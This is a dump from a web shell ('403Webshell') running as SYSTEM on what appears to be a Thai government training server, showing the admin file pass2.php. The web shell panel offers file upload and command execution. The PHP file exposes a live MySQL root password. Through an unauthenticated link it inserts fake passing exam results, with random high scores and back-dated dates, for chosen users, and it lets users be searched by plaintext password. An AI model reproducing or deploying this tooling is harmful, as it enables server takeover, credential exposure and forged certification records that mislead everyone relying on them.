403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.155
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/training/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/training/admin/pass2.php
<?php
// --- Database Configuration ---
$db_host = "localhost"; // หรือโฮสต์ฐานข้อมูลของคุณ
$db_user = "root";      // ชื่อผู้ใช้ฐานข้อมูลของคุณ
$db_pass = "P@ssw0rdMySQL0";          // รหัสผ่านฐานข้อมูลของคุณ (เว้นว่างหากไม่มี)
$db_name = "training68";

// --- Connect to MySQL ---
$conn = mysql_connect($db_host, $db_user, $db_pass);
if (!$conn) {
    die("ไม่สามารถเชื่อมต่อฐานข้อมูลได้: " . mysql_error());
}
mysql_select_db($db_name, $conn);
mysql_query("SET NAMES utf8mb4", $conn); // ตั้งค่า character set

// --- Helper Function to Generate Random Date ---
function getRandomDate() {
    $today = time();
    $days_offset = array(0, -1, -2); // วันนี้, เมื่อวาน, เมื่อวานซืน
    $random_day_key = array_rand($days_offset);
    $random_timestamp = strtotime($days_offset[$random_day_key] . " days", $today);
    // เพิ่มการสุ่มเวลาเข้าไปด้วยเพื่อให้ข้อมูลดูสมจริงขึ้น
    $random_hour = rand(8, 17); // สุ่มชั่วโมงทำงาน 8 โมงเช้าถึง 5 โมงเย็น
    $random_minute = rand(0, 59);
    $random_second = rand(0, 59);
    return date("Y-m-d", $random_timestamp) . " " . sprintf('%02d:%02d:%02d', $random_hour, $random_minute, $random_second);
}

// --- Function to Pass User ---
function passUser($user_id, $conn) {
    $messages = [];
    $user_id_safe = (int)$user_id;

    // --- ตรวจสอบว่า user_id มีในตาราง users หรือไม่ ---
    $user_exists_query = sprintf("SELECT u_name FROM users WHERE id = %d", $user_id_safe);
    $user_exists_result = mysql_query($user_exists_query, $conn);
    if (mysql_num_rows($user_exists_result) == 0) {
        $messages[] = "Error: ไม่พบผู้ใช้งาน ID: " . $user_id_safe;
        return $messages;
    }
    $user_data = mysql_fetch_assoc($user_exists_result);
    $u_name_for_message = $user_data['u_name'];
    mysql_free_result($user_exists_result);


    $subjects_to_pass = [];

    // 1. ดึงทุกหลักสูตรของปี 2568
    $subjects_2568_query = "SELECT id FROM subjects WHERE curriculum_year = '2568'";
    $subjects_2568_result = mysql_query($subjects_2568_query, $conn);
    if (!$subjects_2568_result) {
        $messages[] = "Error: ไม่สามารถดึงข้อมูลหลักสูตรปี 2568 ได้: " . mysql_error();
    } else {
        while ($row = mysql_fetch_assoc($subjects_2568_result)) {
            $subjects_to_pass[] = $row['id'];
        }
        mysql_free_result($subjects_2568_result);
        $messages[] = "พบ " . count($subjects_to_pass) . " หลักสูตรสำหรับปี 2568.";
    }

    // 2. ดึง 10 หลักสูตรแบบสุ่มของปี 2565-2567
    $subjects_2565_2567_query = "SELECT id FROM subjects WHERE curriculum_year = '2565-2567' ORDER BY RAND() LIMIT 10";
    $subjects_2565_2567_result = mysql_query($subjects_2565_2567_query, $conn);
    $count_2565_2567_added = 0;
    if (!$subjects_2565_2567_result) {
        $messages[] = "Error: ไม่สามารถดึงข้อมูลหลักสูตรปี 2565-2567 ได้: " . mysql_error();
    } else {
        while ($row = mysql_fetch_assoc($subjects_2565_2567_result)) {
            $subjects_to_pass[] = $row['id'];
            $count_2565_2567_added++;
        }
        mysql_free_result($subjects_2565_2567_result);
        $messages[] = "พบ " . $count_2565_2567_added . " หลักสูตรแบบสุ่มสำหรับปี 2565-2567.";
    }


    if (empty($subjects_to_pass)) {
        $messages[] = "ไม่พบหลักสูตรที่จะกำหนดให้ผ่านสำหรับผู้ใช้ ID: " . $user_id_safe;
        return $messages;
    }

    // 3. กำหนดคะแนนและเปอร์เซ็นต์ที่เป็นไปได้
    $score_options = [
        ['percentage' => '100.00', 'score' => 20],
        ['percentage' => '95.00', 'score' => 19],
        ['percentage' => '90.00', 'score' => 18]
    ];

    $passed_count = 0;
    $failed_inserts = 0;

    // --- ลบข้อมูลผลสอบเดิมของผู้ใช้นี้ (ถ้าต้องการให้เป็นการบันทึกใหม่เสมอ) ---
    // $delete_old_results_query = sprintf("DELETE FROM exam_results WHERE user_id = %d", $user_id_safe);
    // if (!mysql_query($delete_old_results_query, $conn)) {
    //     $messages[] = "Warning: ไม่สามารถลบผลสอบเดิมของผู้ใช้ ID: " . $user_id_safe . " ได้: " . mysql_error();
    // }


    foreach (array_unique($subjects_to_pass) as $subject_id) { // ใช้ array_unique เพื่อป้องกันการเพิ่มวิชาซ้ำ (ถ้ามี)
        $random_score_index = array_rand($score_options);
        $score_data = $score_options[$random_score_index];
        $score = $score_data['score'];
        $percentage = $score_data['percentage'];
        $passed = 1; // กำหนดให้ผ่านทุกวิชา
        $test_date = getRandomDate();
        $subject_id_safe = (int)$subject_id;

        // ตรวจสอบว่ามีข้อมูล id ในตาราง exam_results หรือยัง ถ้ายังไม่มีให้หา id ที่มากที่สุดแล้ว +1
        $max_id_query = "SELECT MAX(id) as max_id FROM exam_results";
        $max_id_result = mysql_query($max_id_query, $conn);
        $next_id = 1;
        if ($max_id_row = mysql_fetch_assoc($max_id_result)) {
            $next_id = $max_id_row['max_id'] + 1;
        }
        mysql_free_result($max_id_result);


        $insert_query = sprintf(
            "INSERT INTO exam_results (id, user_id, subject_id, score, percentage, passed, test_date) VALUES (%d, %d, %d, %d, '%s', %d, '%s')",
            $next_id,
            $user_id_safe,
            $subject_id_safe,
            $score,
            mysql_real_escape_string($percentage, $conn),
            $passed,
            mysql_real_escape_string($test_date, $conn)
        );

        if (mysql_query($insert_query, $conn)) {
            $passed_count++;
        } else {
            $messages[] = "Error: ไม่สามารถเพิ่มผลสอบสำหรับ User ID $user_id_safe, Subject ID $subject_id_safe: " . mysql_error();
            $failed_inserts++;
        }
    }

    if ($passed_count > 0) {
        $messages[] = "สำเร็จ: เพิ่มผลสอบจำนวน " . $passed_count . " รายการให้ผู้ใช้ " . htmlspecialchars($u_name_for_message) . " (ID: " . $user_id_safe . ") เรียบร้อยแล้ว";
    }
    if ($failed_inserts > 0) {
         $messages[] = "ผิดพลาด: ไม่สามารถเพิ่มผลสอบได้ " . $failed_inserts . " รายการ";
    }
    if ($passed_count == 0 && $failed_inserts == 0 && !empty($subjects_to_pass)){
        $messages[] = "ไม่มีการเพิ่มข้อมูลผลสอบใหม่ (อาจเนื่องจากไม่มีหลักสูตรที่ตรงตามเงื่อนไข หรือมีข้อผิดพลาดก่อนหน้า)";
    }

    return $messages;
}

// --- Handle "Pass User" Action ---
$action_messages = [];
if (isset($_GET['action']) && $_GET['action'] == 'pass_user' && isset($_GET['user_id'])) {
    $user_id_to_pass = $_GET['user_id'];
    if (is_numeric($user_id_to_pass)) {
        $action_messages = passUser((int)$user_id_to_pass, $conn);
    } else {
        $action_messages[] = "Error: User ID ไม่ถูกต้อง";
    }
}
?>
<!DOCTYPE html>
<html lang="th">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>ระบบจัดการผลสอบ Training68</title>
    <style>
        body {
            font-family: 'Tahoma', 'Arial', sans-serif;
            margin: 0;
            padding: 0;
            background-color: #e9ecef; /* Light grey background */
            color: #343a40; /* Dark grey text */
            line-height: 1.6;
            display: flex;
            flex-direction: column;
            align-items: center;
            min-height: 100vh;
        }
        .container {
            width: 90%;
            max-width: 960px;
            margin: 20px auto;
            padding: 25px;
            background-color: #ffffff; /* White container background */
            box-shadow: 0 4px 12px rgba(0,0,0,0.15); /* Softer shadow */
            border-radius: 10px; /* Rounded corners */
        }
        h1, h2 {
            color: #007bff; /* Primary blue */
            text-align: center;
            margin-bottom: 25px;
            font-weight: 300; /* Lighter font weight for headings */
        }
        h1 {
            font-size: 2.5em;
        }
        h2 {
            font-size: 1.8em;
            color: #17a2b8; /* Info blue */
        }
        form {
            margin-bottom: 35px;
            padding: 25px;
            background-color: #f8f9fa; /* Very light grey form background */
            border: 1px solid #dee2e6; /* Light border */
            border-radius: 8px;
        }
        label {
            display: block;
            margin-bottom: 10px;
            font-weight: 600; /* Bolder labels */
            color: #495057; /* Medium grey label text */
        }
        input[type="text"] {
            width: calc(100% - 24px); /* Full width with padding */
            padding: 12px;
            margin-bottom: 20px;
            border: 1px solid #ced4da; /* Standard input border */
            border-radius: 5px;
            box-sizing: border-box;
            font-size: 1em;
        }
        input[type="text"]:focus {
            border-color: #80bdff; /* Blue border on focus */
            outline: 0;
            box-shadow: 0 0 0 0.2rem rgba(0,123,255,.25); /* Blue glow on focus */
        }
        input[type="submit"], .pass-button {
            background-color: #007bff; /* Primary blue */
            color: white;
            padding: 12px 22px;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            font-size: 1em;
            transition: background-color 0.2s ease-in-out, transform 0.1s ease;
            text-decoration: none;
            display: inline-block;
            text-align: center;
        }
        input[type="submit"]:hover, .pass-button:hover {
            background-color: #0056b3; /* Darker blue on hover */
            transform: translateY(-1px); /* Slight lift on hover */
        }
         input[type="submit"]:active, .pass-button:active {
            transform: translateY(1px); /* Slight press on active */
        }
        .pass-button {
            background-color: #28a745; /* Success green */
            padding: 8px 18px;
            font-size: 0.9em;
        }
        .pass-button:hover {
            background-color: #1e7e34; /* Darker success green */
        }
        table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 25px;
            box-shadow: 0 2px 8px rgba(0,0,0,0.1); /* Subtle shadow for table */
        }
        th, td {
            border: 1px solid #dee2e6; /* Light grey border */
            padding: 12px;
            text-align: left;
        }
        th {
            background-color: #007bff; /* Primary blue header */
            color: white;
            font-weight: 600; /* Bolder table headers */
        }
        tr:nth-child(even) {
            background-color: #f8f9fa; /* Alternating row color */
        }
        tr:hover {
            background-color: #e9ecef; /* Hover color for rows */
        }
        .messages {
            padding: 18px;
            margin-bottom: 25px;
            border-radius: 5px;
            font-size: 0.95em;
            border-left-width: 5px;
            border-left-style: solid;
        }
        .messages.success {
            background-color: #d1e7dd; /* Success green background */
            color: #0f5132; /* Success green text */
            border-left-color: #198754; /* Success green border */
        }
        .messages.error {
            background-color: #f8d7da; /* Error red background */
            color: #842029; /* Error red text */
            border-left-color: #dc3545; /* Error red border */
        }
        .messages.info { /* For general messages or mixed results */
            background-color: #cff4fc;
            color: #055160;
            border-left-color: #0dcaf0;
        }
        .messages ul {
            margin: 0;
            padding-left: 20px;
        }
        .footer {
            text-align: center;
            margin-top: 30px;
            padding: 15px;
            font-size: 0.9em;
            color: #6c757d; /* Muted footer text */
        }
    </style>
    <link href="https://fonts.googleapis.com/css2?family=Sarabun:wght@300;400;600;700&display=swap" rel="stylesheet">
</head>
<body>
    <div class="container">
        <h1><img src="https://spm8.go.th/main/wp-content/uploads/2023/03/cropped-รับออกแบบโลโก้-1-4.png" alt="Logo" style="height:50px; vertical-align: middle; margin-right:10px;">ระบบจัดการผลสอบ Training68</h1>

        <?php
        if (!empty($action_messages)) {
            $has_error = false;
            $has_success = false;
            foreach($action_messages as $msg) {
                if (stripos($msg, "Error:") !== false || stripos($msg, "ผิดพลาด:") !== false) {
                    $has_error = true;
                }
                if (stripos($msg, "สำเร็จ:") !== false) {
                    $has_success = true;
                }
            }

            $message_class = 'info'; // Default
            if ($has_error && !$has_success) {
                $message_class = 'error';
            } elseif ($has_success && !$has_error) {
                $message_class = 'success';
            } elseif ($has_success && $has_error) {
                $message_class = 'info'; // Mixed results
            }


            echo "<div class='messages {$message_class}'><strong>ผลการดำเนินการ:</strong><ul>";
            foreach ($action_messages as $msg) {
                echo "<li>" . htmlspecialchars($msg) . "</li>";
            }
            echo "</ul></div>";
        }
        ?>

        <h2><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-search" style="vertical-align: middle; margin-right: 5px;"><circle cx="11" cy="11" r="8"></circle><line x1="21" y1="21" x2="16.65" y2="16.65"></line></svg>ค้นหาผู้ใช้งาน</h2>
        <form method="GET" action="index.php">
            <label for="search_username">ค้นหา Username:</label>
            <input type="text" id="search_username" name="search_username" value="<?php echo isset($_GET['search_username']) ? htmlspecialchars($_GET['search_username']) : ''; ?>" placeholder="ส่วนหนึ่งของ Username">

            <label for="search_password">ค้นหา Password <small style="color:red;">(ไม่แนะนำด้านความปลอดภัย)</small>:</label>
            <input type="text" id="search_password" name="search_password" value="<?php echo isset($_GET['search_password']) ? htmlspecialchars($_GET['search_password']) : ''; ?>" placeholder="ส่วนหนึ่งของ Password">

            <label for="search_uname">ค้นหาชื่อ-นามสกุล (u_name):</label>
            <input type="text" id="search_uname" name="search_uname" value="<?php echo isset($_GET['search_uname']) ? htmlspecialchars($_GET['search_uname']) : ''; ?>" placeholder="ส่วนหนึ่งของชื่อ-นามสกุล">

            <input type="submit" name="search_submit" value="ค้นหา">
        </form>

        <?php
        if (isset($_GET['search_submit'])) {
            $search_username = isset($_GET['search_username']) ? mysql_real_escape_string(trim($_GET['search_username']), $conn) : '';
            $search_password = isset($_GET['search_password']) ? mysql_real_escape_string(trim($_GET['search_password']), $conn) : '';
            $search_uname = isset($_GET['search_uname']) ? mysql_real_escape_string(trim($_GET['search_uname']), $conn) : '';

            $conditions = [];
            if (!empty($search_username)) {
                $conditions[] = "username LIKE '%" . $search_username . "%'";
            }
            if (!empty($search_password)) {
                $conditions[] = "password LIKE '%" . $search_password . "%'";
            }
            if (!empty($search_uname)) {
                $conditions[] = "u_name LIKE '%" . $search_uname . "%'";
            }

            if (!empty($conditions)) {
                $query_users = "SELECT id, username, u_name, u_school FROM users WHERE " . implode(" AND ", $conditions) . " AND role = 'user' ORDER BY u_name ASC";
                $result_users = mysql_query($query_users, $conn);

                if ($result_users) {
                    if (mysql_num_rows($result_users) > 0) {
                        echo "<h2>ผลการค้นหา (" . mysql_num_rows($result_users) . " รายการ):</h2>";
                        echo "<table>";
                        echo "<thead><tr><th>ID</th><th>Username</th><th>ชื่อ-นามสกุล</th><th>โรงเรียน</th><th>ดำเนินการ</th></tr></thead><tbody>";
                        while ($row = mysql_fetch_assoc($result_users)) {
                            echo "<tr>";
                            echo "<td>" . htmlspecialchars($row['id']) . "</td>";
                            echo "<td>" . htmlspecialchars($row['username']) . "</td>";
                            echo "<td>" . htmlspecialchars($row['u_name']) . "</td>";
                            echo "<td>" . htmlspecialchars($row['u_school']) . "</td>";
                            echo "<td><a href='index.php?action=pass_user&user_id=" . htmlspecialchars($row['id']) . "' class='pass-button' onclick='return confirm(\"คุณต้องการให้ ".htmlspecialchars($row['u_name'])." (ID: " . htmlspecialchars($row['id']) . ") ผ่านทุกหลักสูตรตามเงื่อนไขใช่หรือไม่? การดำเนินการนี้อาจใช้เวลาสักครู่\");'> <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" style=\"vertical-align: middle; margin-right:3px;\"><polyline points=\"20 6 9 17 4 12\"></polyline></svg> ผ่าน</a></td>";
                            echo "</tr>";
                        }
                        echo "</tbody></table>";
                    } else {
                        echo "<p style='text-align:center; color:#777;'>ไม่พบผู้ใช้งานตามเงื่อนไขที่ค้นหา</p>";
                    }
                    mysql_free_result($result_users);
                } else {
                    echo "<div class='messages error'>เกิดข้อผิดพลาดในการค้นหา: " . mysql_error() . "</div>";
                }
            } else {
                 if(isset($_GET['search_submit'])){ // Show only if search was attempted
                    echo "<p style='text-align:center; color:#777;'>กรุณาระบุเกณฑ์การค้นหาอย่างน้อยหนึ่งอย่าง</p>";
                }
            }
        }
        ?>
    </div>
    <div class="footer">
        PHP Version: <?php echo phpversion(); ?> | Training68 System &copy; <?php echo date("Y"); ?>
    </div>
</body>
</html>
<?php
// --- Close MySQL Connection ---
if ($conn) {
    mysql_close($conn);
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit